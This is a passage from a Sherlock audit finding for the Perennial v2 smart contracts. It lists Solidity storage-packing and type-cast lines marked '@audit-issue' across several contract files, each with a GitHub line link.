uint256((newValue.makerReceiveOnly ? uint256(1) : uint256(0)) << (256 - 8)) >> (256 - 48 - 32 - 48 - 48 - 48 - 24 - 8);\t// @audit-issue\n```\n*GitHub*: [110](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L110-L110), [111](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L111-L111), [112](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L112-L112), [113](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L113-L113), [114](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L114-L114), [115](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L115-L115), [116](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L116-L116), [117](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L117-L117), [118](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L118-L118), [120](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L120-L120), [121](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L121-L121), [122](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L122-L122), [124](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L124-L124), [125](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L125-L125), [126](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L126-L126), [127](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L127-L127), [131](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L131-L131), [132](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L132-L132), [134](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L134-L134), [135](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L135-L135), [136](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L136-L136), [137](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L137-L137), [138](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L138-L138), [185](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L185-L185), [188](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L188-L188), [189](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L189-L189), [190](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L190-L190), [191](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L191-L191), [192](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L192-L192), [193](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L193-L193), [194](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L194-L194), [195](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L195-L195), [196](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L196-L196), [199](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L199-L199), [200](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L200-L200), [201](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L201-L201), [202](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L202-L202), [203](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L203-L203), [204](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L204-L204), [205](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L205-L205), [208](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L208-L208), [209](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L209-L209), [210](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L210-L210), [211](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L211-L211), [212](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L212-L212), [213](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L213-L213), [214](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L214-L214)\n```solidity\nPath: ./perennial-v2/packages/perennial/contracts/types/Version.sol\n\n352: (uint256(slot0 << (256 - 8)) >> (256 - 8)) != 0,\t// @audit-issue\n\n353: Accumulator6(Fixed6.wrap(int256(slot0 << (256 - 8 - 64)) >> (256 - 64))),\t// @audit-issue\n\n354: Accumulator6(Fixed6.wrap(int256(slot0 << (256 - 8 - 64 - 64)) >> (256 - 64))),\t// @audit-issue\n\n355: Accumulator6(Fixed6.wrap(int256(slot0 << (256 - 8 - 64 - 64 - 64)) >> (256 - 64))),\t// @audit-issue\n\n356: UAccumulator6(UFixed6.wrap(uint256(slot1 << (256 - 64)) >> (256 - 64))),\t// @audit-issue\n\n357: UAccumulator6(UFixed6.wrap(uint256(slot1 << (256 - 64 - 64)) >> (256 - 64))),\t// @audit-issue\n\n358: UAccumulator6(UFixed6.wrap(uint256(slot1 << (256 - 64 - 64 - 64)) >> (256 - 64)))\t// @audit-issue\n\n374: uint256((newValue.valid ? uint256(1) : uint256(0)) << (256 - 8)) >> (256 - 8) |\t// @audit-issue\n\n375: uint256(Fixed6.unwrap(newValue.makerValue._value) << (256 - 64)) >> (256 - 8 - 64) |\t// @audit-issue\n\n376: uint256(Fixed6.unwrap(newValue.longValue._value) << (256 - 64)) >> (256 - 8 - 64 - 64) |\t// @audit-issue\n\n377: uint256(Fixed6.unwrap(newValue.shortValue._value) << (256 - 64)) >> (256 - 8 - 64 - 64 - 64);\t// @audit-issue\n\n379: uint256(UFixed6.unwrap(newValue.makerReward._value) << (256 - 64)) >> (256 - 64) |\t// @audit-issue\n\n380: uint256(UFixed6.unwrap(newValue.longReward._value) << (256 - 64)) >> (256 - 64 - 64) |\t// @audit-issue\n\n381: uint256(UFixed6.unwrap(newValue.shortReward._value) << (256 - 64)) >> (256 - 64 - 64 - 64);\t// @audit-issue\n```\n*GitHub*: [352](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L352-L352), [353](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L353-L353), [354](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L354-L354), [355](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L355-L355), [356](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L356-L356), [357](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L357-L357), [358](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L358-L358), [374](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L374-L374), [375](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L375-L375), [376](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L376-L376), [377](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L377-L377), [379](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L379-L379), [380](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L380-L380), [381](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Version.sol#L381-L381)\n```solidity\nPath: ./perennial-v2/packages/perennial/contracts/types/Local.sol\n\n119: uint256(slot0 << (256 - 32)) >> (256 - 32),\t// @audit-issue\n\n120: uint256(slot0 << (256 - 32 - 32)) >> (256 - 32),\t// @audit-issue\n\n121: Fixed6.wrap(int256(slot0 << (256 - 32 - 32 - 64)) >> (256 - 64)),\t// @audit-issue\n\n122: UFixed6.wrap(uint256(slot0 << (256 - 32 - 32 - 64 - 64)) >> (256 - 64)),\t// @audit-issue\n\n123: (uint256(slot0) << (256 - 32 - 32 - 64 - 64 - 32)) >> (256 - 32)\t// @audit-issue\n\n128: if (newValue.currentId > uint256(type(uint32).max)) revert LocalStorageInvalidError();\t// @audit-issue\n\n129: if (newValue.latestId > uint256(type(uint32).max)) revert LocalStorageInvalidError();\t// @audit-issue\n\n133: if (newValue.protection > uint256(type(uint32).max)) revert LocalStorageInvalidError();\t// @audit-issue\n\n136: uint256(newValue.currentId << (256 - 32)) >> (256 - 32) |\t// @audit-issue\n\n137: uint256(newValue.latestId << (256 - 32)) >> (256 - 32 - 32) |\t// @audit-issue\n\n138: uint256(Fixed6.unwrap(newValue.collateral) << (256 - 64)) >> (256 - 32 - 32 - 64) |\t// @audit-issue\n\n139: uint256(UFixed6.unwrap(newValue.reward) << (256 - 64)) >> (256 - 32 - 32 - 64 - 64) |\t// @audit-issue\n\n140: uint256(newValue.protection << (256 - 32)) >> (256 - 32 - 32 - 64 - 64 - 32);\t// @audit-issue\n```\n*GitHub*: [119](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L119-L119), [120](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L120-L120), [121](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L121-L121), [122](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L122-L122), [123](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L123-L123), [128](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L128-L128), [129](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L129-L129), [133](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L133-L133), [136](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L136-L136), [137](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L137-L137), [138](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L138-L138), [139](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L139-L139), [140](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Local.sol#L140-L140)\n```solidity\nPath: ./perennial-v2/packages/perennial/contracts/types/Position.sol\n\n445: uint256(slot0 << (256 - 32)) >> (256 - 32),\t// @audit-issue\n\n446: UFixed6.wrap(uint256(slot1 << (256 - 64)) >> (256 - 64)),\t// @audit-issue\n\n447: UFixed6.wrap(uint256(slot0 << (256 - 32 - 48 - 48 - 64)) >> (256 - 64)),\t// @audit-issue\n\n448: UFixed6.wrap(uint256(slot0 << (256 - 32 - 48 - 48 - 64 - 64)) >> (256 - 64)),\t// @audit-issue\n\n449: Fixed6.wrap(int256(slot0 << (256 - 32 - 48)) >> (256 - 48)),\t// @audit-issue\n\n450: UFixed6.wrap(uint256(slot0 << (256 - 32 - 48 - 48)) >> (256 - 48)),\t// @audit-issue\n\n454: Fixed6.wrap(int256(slot1 << (256 - 64 - 64)) >> (256 - 64)),\t// @audit-issue\n\n455: Fixed6.wrap(int256(slot1 << (256 - 64 - 64 - 64)) >> (256 - 64)),\t// @audit-issue\n\n456: Fixed6.wrap(int256(slot1 << (256 - 64 - 64 - 64 - 64)) >> (256 - 64))\t// @audit-issue\n\n469: uint256(newValue.timestamp << (256 - 32)) >> (256 - 32) |\t// @audit-issue\n\n470: uint256(Fixed6.unwrap(newValue.fee) << (256 - 48)) >> (256 - 32 - 48) |\t// @audit-issue\n\n471: uint256(UFixed6.unwrap(newValue.keeper) << (256 - 48)) >> (256 - 32 - 48 - 48) |\t// @audit-issue\n\n472: uint256(UFixed6.unwrap(newValue.long) << (256 - 64)) >> (256 - 32 - 48 - 48 - 64) |\t// @audit-issue\n\n473: uint256(UFixed6.unwrap(newValue.short) << (256 - 64)) >> (256 - 32 - 48 - 48 - 64 - 64);\t// @audit-issue\n\n475: uint256(UFixed6.unwrap(newValue.maker) << (256 - 64)) >> (256 - 64) |\t// @audit-issue\n\n476: uint256(Fixed6.unwrap(newValue.invalidation.maker) << (256 - 64)) >> (256 - 64 - 64) |\t// @audit-issue\n\n477: uint256(Fixed6.unwrap(newValue.invalidation.long) << (256 - 64)) >> (256 - 64 - 64 - 64) |\t// @audit-issue\n\n478: uint256(Fixed6.unwrap(newValue.invalidation.short) << (256 - 64)) >> (256 - 64 - 64 - 64 - 64);\t// @audit-issue\n\n510: uint256 direction = uint256(slot1 << (256 - 2)) >> (256 - 2);\t// @audit-issue\n\n511: UFixed6 magnitude = UFixed6.wrap(uint256(slot1 << (256 - 2 - 62)) >> (256 - 62));\t// @audit-issue\n\n514: uint256(slot0 << (256 - 32)) >> (256 - 32),\t// @audit-issue\n\n518: Fixed6.wrap(int256(slot0 << (256 - 32 - 48)) >> (256 - 48)),\t// @audit-issue\n\n519: UFixed6.wrap(uint256(slot0 << (256 - 32 - 48 - 48)) >> (256 - 48)),\t// @audit-issue\n\n520: Fixed6.wrap(int256(slot0 << (256 - 32 - 48 - 48 - 64)) >> (256 - 64)),\t// @audit-issue\n\n521: Fixed6.wrap(int256(slot0 << (256 - 32 - 48 - 48 - 64 - 64)) >> (256 - 64)),\t// @audit-issue\n\n523: Fixed6.wrap(int256(slot1 << (256 - 2 - 62 - 64)) >> (256 - 64)),\t// @audit-issue\n\n524: Fixed6.wrap(int256(slot1 << (256 - 2 - 62 - 64 - 64)) >> (256 - 64)),\t// @audit-issue\n\n525: Fixed6.wrap(int256(slot1 << (256 - 2 - 62 - 64 - 64 - 64)) >> (256 - 64))\t// @audit-issue\n\n540: uint256(newValue.timestamp << (256 - 32)) >> (256 - 32) |\t// @audit-issue\n\n541: uint256(Fixed6.unwrap(newValue.fee) << (256 - 48)) >> (256 - 32 - 48) |\t// @audit-issue\n\n542: uint256(UFixed6.unwrap(newValue.keeper) << (256 - 48)) >> (256 - 32 - 48 - 48) |\t// @audit-issue\n\n543: uint256(Fixed6.unwrap(newValue.collateral) << (256 - 64)) >> (256 - 32 - 48 - 48 - 64) |\t// @audit-issue\n\n544: uint256(Fixed6.unwrap(newValue.delta) << (256 - 64)) >> (256 - 32 - 48 - 48 - 64 - 64);\t// @audit-issue\n\n546: uint256(direction << (256 - 2)) >> (256 - 2) |\t// @audit-issue\n\n547: uint256(UFixed6.unwrap(newValue.magnitude()) << (256 - 62)) >> (256 - 2 - 62) |\t// @audit-issue\n\n548: uint256(Fixed6.unwrap(newValue.invalidation.maker) << (256 - 64)) >> (256 - 2 - 62 - 64) |\t// @audit-issue\n\n549: uint256(Fixed6.unwrap(newValue.invalidation.long) << (256 - 64)) >> (256 - 2 - 62 - 64 - 64) |\t// @audit-issue\n\n550: uint256(Fixed6.unwrap(newValue.invalidation.short) << (256 - 64)) >> (256 - 2 - 62 - 64 - 64 - 64);\t// @audit-issue\n```\n*GitHub*: [445](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L445-L445), [446](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L446-L446), [447](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L447-L447), [448](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L448-L448), [449](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L449-L449), [450](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L450-L450), [454](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L454-L454), [455](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L455-L455), [456](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L456-L456), [469](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L469-L469), [470](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L470-L470), [471](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L471-L471), [472](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L472-L472), [473](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L473-L473), [475](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L475-L475), [476](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L476-L476), [477](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L477-L477), [478](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L478-L478), [510](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L510-L510), [511](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L511-L511), [514](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L514-L514), [518](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L518-L518), [519](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L519-L519), [520](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L520-L520), [521](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L521-L521), [523](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L523-L523), [524](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L524-L524), [525](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L525-L525), [540](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L540-L540), [541](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L541-L541), [542](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L542-L542), [543](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L543-L543), [544](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L544-L544), [546](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L546-L546), [547](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L547-L547), [548](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L548-L548), [549](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L549-L549), [550](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/types/Position.sol#L550-L550)\n```solidity\nPath: ./perennial-v2/packages/perennial-oracle/contracts/Oracle.sol\n\n45: oracles[global.current].timestamp = uint96(currentTimestamp);\t// @audit-issue\n\n74: if (timestamp > uint256(oracles[i].timestamp)) break;\t// @audit-issue\n\n90: oracles[global.current].timestamp = uint96(latestVersion.timestamp);\t// @audit-issue\n\n94: oracles[++global.current] = Epoch(newProvider, uint96(newProvider.current()));\t// @audit-issue\n\n117: uint256(isLatestStale ? oracles[global.current].timestamp : oracles[global.latest].timestamp);\t// @audit-issue\n\n129: if (uint256(oracles[global.latest].timestamp) > oracles[global.latest].provider.latest().timestamp) return false;\t// @audit-issue\n\n130: if (uint256(oracles[global.latest].timestamp) >= currentOracleLatestVersion.timestamp) return false;\t// @audit-issue\n```\n*GitHub*: [45](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/Oracle.sol#L45-L45), [74](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/Oracle.sol#L74-L74), [90](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/Oracle.sol#L90-L90), [94](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/Oracle.sol#L94-L94), [117](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/Oracle.sol#L117-L117), [129](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/Oracle.sol#L129-L129), [130](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/Oracle.sol#L130-L130)\n```solidity\nPath: ./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol\n\n147: uint256 effectiveGranularity = block.timestamp <= uint256(_granularity.effectiveAfter) ?\t// @audit-issue\n\n148: uint256(_granularity.latestGranularity) :\t// @audit-issue\n\n149: uint256(_granularity.currentGranularity);\t// @audit-issue\n\n243: if (_current <= uint256(_granularity.effectiveAfter)) revert KeeperFactoryInvalidGranularityError();\t// @audit-issue\n\n248: uint64(newGranularity),\t// @audit-issue\n\n249: uint128(_current)\t// @audit-issue\n```\n*GitHub*: [147](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L147-L147), [148](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L148-L148), [149](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L149-L149), [243](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L243-L243), [248](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L248-L248), [249](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L249-L249)\n```solidity\nPath: ./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperOracle.sol\n\n121: _global.latestVersion = uint64(version.timestamp);\t// @audit-issue\n```\n*GitHub*: [121](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperOracle.sol#L121-L121)\n```solidity\nPath: ./perennial-v2/packages/perennial-oracle/contracts/pyth/PythFactory.sol\n\n66: Fixed6 base = Fixed6Lib.from(int256(10 ** SignedMath.abs(exponent)));\t// @audit-issue\n```\n*GitHub*: [66](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/pyth/PythFactory.sol#L66-L66)\n```solidity\nPath: ./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol\n\n76: uint8(storedValue.side),\t// @audit-issue\n\n77: int8(storedValue.comparison),\t// @audit-issue\n\n78: UFixed6.wrap(uint256(storedValue.fee)),\t// @audit-issue\n\n79: Fixed6.wrap(int256(storedValue.price)),\t// @audit-issue\n\n80: Fixed6.wrap(int256(storedValue.delta)),\t// @audit-issue\n\n82: UFixed6.wrap(uint256(storedValue.interfaceFeeAmount)),\t// @audit-issue\n\n101: uint8(newValue.side),\t// @audit-issue\n\n102: int8(newValue.comparison),\t// @audit-issue\n\n103: uint64(UFixed6.unwrap(newValue.fee)),\t// @audit-issue\n\n104: int64(Fixed6.unwrap(newValue.price)),\t// @audit-issue\n\n105: int64(Fixed6.unwrap(newValue.delta)),\t// @audit-issue\n\n106: uint40(UFixed6.unwrap(newValue.interfaceFee.amount)),\t// @audit-issue\n```\n*GitHub*: [76](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L76-L76), [77](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L77-L77), [78](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L78-L78), [79](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L79-L79), [80](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L80-L80), [82](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L82-L82), [101](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L101-L101), [102](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L102-L102), [103](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L103-L103), [104](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L104-L104), [105](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L105-L105), [106](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/types/TriggerOrder.sol#L106-L106)\n ","dataSource":{"name":"sherlock-audit/2023-10-perennial-judging","repo":"https://github.com/sherlock-audit/2023-10-perennial-judging","url":"https://github.com/sherlock-audit/2023-10-perennial-judging/blob/main//008/015.md"}}
